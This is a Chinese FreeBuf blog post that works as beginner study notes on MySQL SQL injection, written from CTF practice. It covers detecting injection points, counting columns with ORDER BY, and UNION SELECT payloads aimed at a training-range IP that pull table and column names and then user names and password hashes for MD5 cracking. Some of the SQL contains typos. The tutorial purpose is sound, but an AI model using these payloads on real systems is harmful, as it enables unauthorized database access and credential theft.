freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

SQL注入——SQL注入简单概要
璐瑶 2024-06-22 00:57:27 139659

原理

由用户控制的变量,将SQL语句代入可查询数据库内容,从而获取数据库内容

1718847166_667386bee27c519891bea.png!small?1718847167480

要求

可控变量,变量未过滤或过滤不充分

mysql基础知识

1718987413_6675aa95604e7325984f5.png!small?1718987414796

代码端

1718724470_6671a77680c26abc59df5.png!small?1718724471231

mysql_query($sql);带入数据库

mysql_fetch_arrqy($result);将结果显现出来

知识点

1.在MYSQL5.0以上版本中,mysql存在一个自带数据库名为information_schema,它是一个存储所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

3.information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

MYSQL数据库

  • 数据库A=网站A
    • 表名
      • 列名
        • 数据
  • 数据库B=网站B
  • 数据库C=网站C

在命令行窗口输入

use databases;

use 表名;

show 表名;

selet * from 列名;

一般web题目中*是password,之后再用md5解密

流程

判断注入点

最重要:了解原理:和数据库产生交互了

and 1=1 页面正常
and 1=2 页面错误
可能存在注入点

select * from users where id=1daadda LIMIT 0,1xxx/?id=1daadda 这样输入,如果对网站有影响,和原来网站有差别,证明他代入数据库查询了,证明了会有漏洞;如果没有差别,网站不检测你输入的参数即不能传递参数,说明没有漏洞。
如果报了404错误或跳转,说明网站对输入参数检测了,大部分没有漏洞。

猜测列名数量(字段数)

因为union联合查询字段数必须一样,否则会报错;
使用order by x(数字) 错误与正常的临界值,不断测试x直到页面错误;
219.153.49.228:42123/new_list.php?id=1 order by 4

报错拆解准备

应用联合查询:union select

http://219.153.49.228:42123/new_list.php?id=-1 union select 1,2,3,4

观察哪些数字会在页面上回显

1718987786_6675ac0a9a1f61500257c.png!small?1718987787657

信息收集(最重要的)和大佬之间的差距

1718987891_6675ac7362081ad4bb716.png!small?1718987893033

数据库版本:version ()-> 5.7.22-0ubuntu0.16.04.1
数据库名字:database()-> mozhe_Discuz_StormGroup
数据库用户:user()-> root@localhost
操作系统:@@version_compile_os -> Linux

查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

查询指定表名StormGroup_member下的列名信息:

?id=-1 union selset 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

查询指定表名StormGroup_member下的数据:

?id=-1 union select 1,name,password,4 from StormGroup_member

根据我自己写题的经验来看:有几个易错点(啥时候+s啥时候不用)

了解含义就很好记住:找表名信息:从所有表名中找,在特点的某一个数据库中找

最后得到的字符串用md5解密

# 漏洞 # 渗透测试 # web安全 # CTF # 网络安全技术
本文为 璐瑶 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
璐瑶 LV.3
小鱼不爱吃鱼
  • 5 文章数
  • 2 关注者
Web攻防世界引导模式
2024-08-12
攻防世界web引导模式 框架梳理
2024-08-09
渗透测试工程师职业要求
2024-06-07
文章目录